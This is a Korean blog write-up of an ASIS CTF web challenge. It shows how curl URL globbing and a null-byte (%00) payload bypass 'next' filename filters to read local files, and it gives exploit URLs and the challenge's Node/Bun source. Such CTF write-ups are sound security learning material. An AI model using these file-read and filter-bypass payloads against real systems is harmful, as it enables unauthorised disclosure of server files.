https://asisctf.com/challenges
ASIS ctf 웹 문제이다.
첫 화면이다.
curl file:///hi.txt
명령어로 hi.txt를 가져오고있다.
curl 명령어는 데이터 전송 및 요청을 수행하는 명령줄 도구이다.
file 스키마는 로컬에 있는 파일에 접근할 때 사용된다.
여기서 escapeshellarg은 문자열 주위에 작은따옴표를 추가하고 기존 작은따옴표를 인용/이스케이프하여 문자열을 쉘 함수에 직접 전달하고 단일 안전 인수로 처리되도록 한다. 이 함수는 사용자 입력에서 오는 쉘 함수에 대한 개별 인수를 이스케이프하는 데 사용되어야 한다.
https://www.php.net/manual/en/function.escapeshellarg.php
여기서 자세히 알아보자.
우리는 next.txt를 읽어야한다. 그런데 next에 대한 필터링이 이루어지고 있다. 이를 어떻게 우회해야 할까?
https://curl.se/docs/manpage.html
curl 매뉴얼이다. globbing에 대한 언급이 나와있다. globbing은 쉽게 와일드 카드라고 생각하면 된다.
http://45.147.231.180:8000/?x={f}ile:///{n}ext.txt
위에서 설명한 방법을 사용하여 짜봤다.
새로운 경로를 알려준다.
file 의 매개변수로 /proc/self/cmdline 을 받는다. 그대로 입력해보자.
base64로 인코딩 된 값이 나온다. 디코딩 해보자.
위의 값을 base64로 인코딩한 값이었다.
우선 /proc/self/cmdline이 어떤 파일인지 파악해보자.
따라서 bun과 index.js를 실행했다는 것을 알 수있다.
/app/index.js를 확인해보았다.
const fs = require('node:fs');
const path = require('path')
/*
I wonder what is inside /next.txt
*/
const secret = '39c8e9953fe8ea40ff1c59876e0e2f28'
const server = Bun.serve({
port: 8000,
fetch(req) {
let url = new URL(req.url);
let pname = url.pathname;
if(pname.startsWith(`/${secret}`)){
if(pname.startsWith(`/${secret}/read`)){
try{
let fpath = url.searchParams.get('file');
if(path.basename(fpath).indexOf('next') == -1){
return new Response(fs.readFileSync(fpath).toString('base64'));
} else {
return new Response('no way');
}
} catch(e){ }
return new Response("Couldn't read your file :(");
}
return new Response(`did you know i can read files?? amazing right,,, maybe try /${secret}/read/?file=/proc/self/cmdline`);
}
return
}
});
index.js를 통해 지금까지 base64로 페이지의 대한 내용을 인코딩해서 보여주는 코드를 읽어볼 수 있었다.
주석에 next.txt에 대한 언급이 있다. next.txt를 여는 것이 목표임을 알 수 있다.
여기서 next에 대한 필터링을 확인할 수 있다.
그러면 어떻게 next 필터링을 우회할 수 있을까?
nodejs에서 path.basename() 함수에 대해 알 필요가 있다.
쉽게 말해서 a.txt/b.txt/c.txt 가 있다면 c.txt만을 가져온다는 뜻이다.
그러면
fs.readFileSync(fpath)
에서는 문자열을 어떻게 처리할까? c언어에서 문자열을 읽을 때 null값 전까지만 읽는 것 기억난다. 위의 경우도 마찬가지이지 않을까?
이를 바탕으로 url을 구성해보면
http://45.147.231.180:8001/39c8e9953fe8ea40ff1c59876e0e2f28/read/?file=/next.txt%00/a.txt
여기서 %00은 url에서 null값을 나타낼 때 사용된다.
또다른 base64가 나왔다.
짜잔
'분류 전 > CTF' 카테고리의 다른 글
[Sunshine] Hotdog Stand 풀이 (0) | 2023.10.10 |
---|---|
[Sunshine] BeepBoop Blog 풀이 (0) | 2023.10.10 |
[WACON2023] mosaic (0) | 2023.09.05 |
[WACON2023] mic check 풀이 (0) | 2023.09.05 |
[Wolve CTF 2023] Zombie 101 풀이 (0) | 2023.03.21 |